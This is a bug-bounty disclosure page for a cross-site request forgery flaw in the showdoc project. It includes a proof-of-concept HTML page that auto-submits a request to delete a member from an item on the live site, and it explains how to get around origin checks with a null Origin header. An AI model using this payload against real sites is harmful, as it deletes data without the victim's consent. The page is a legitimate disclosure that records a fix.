

Cross-Site Request Forgery (CSRF) in star7th/showdoc

Valid Reported on Sep 6th 2021

0

Description

With CSRF vulnerability Attacker able to delete any member to of any item if users visit attacker website.

We can bypass the CSRF Protection if we put our payload on a iframe or a html file and send them to victim as after that the Origin header will be set to `null` and we can bypass CSRF protection.

Proof of Concept

1.Open the PoC.html In Firefox or safari.

2.now you can check that member with email address `test` that already registered before for item with item_id `1531601670203344` will be deleted.

// PoC.html

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.showdoc.com.cn/server/index.php?s=/api/member"
  <input type="hidden" name="item&#95;id" value="1531601670203344" />
  <input type="hidden" name="item&#95;member&#95;id" value="187133" />
  <input type="submit" value="Submit request" />
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>
```

Impact

This vulnerability is capable of reveal any item.

Fix

Set SameSite attribute of cookies to `Lax` or `Strict`.

CVE

CVE-2021-3775
(Published)

Vulnerability Type

CWE-352: Cross-Site Request Forgery (CSRF)

Severity

Medium (4.3)

Affected Version

*

Visibility

Public

Status

Fixed

Found by



amammad

@amammad

pro

Fixed by



star7th

@star7th

unranked

This report was seen 386 times.

Chat with us

We have contacted a member of the **star7th/showdoc** team and are waiting to hear back
a year ago

star7th validated this vulnerability a year ago

amammad has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Jamie Slome a year ago

[Admin](#)

@maintainer - can we please confirm the **fix** for this report, and then we can go ahead and publish the CVE with the patch.

star7th marked this as fixed with commit **67093c** a year ago

star7th has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

2022 © 418sec

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team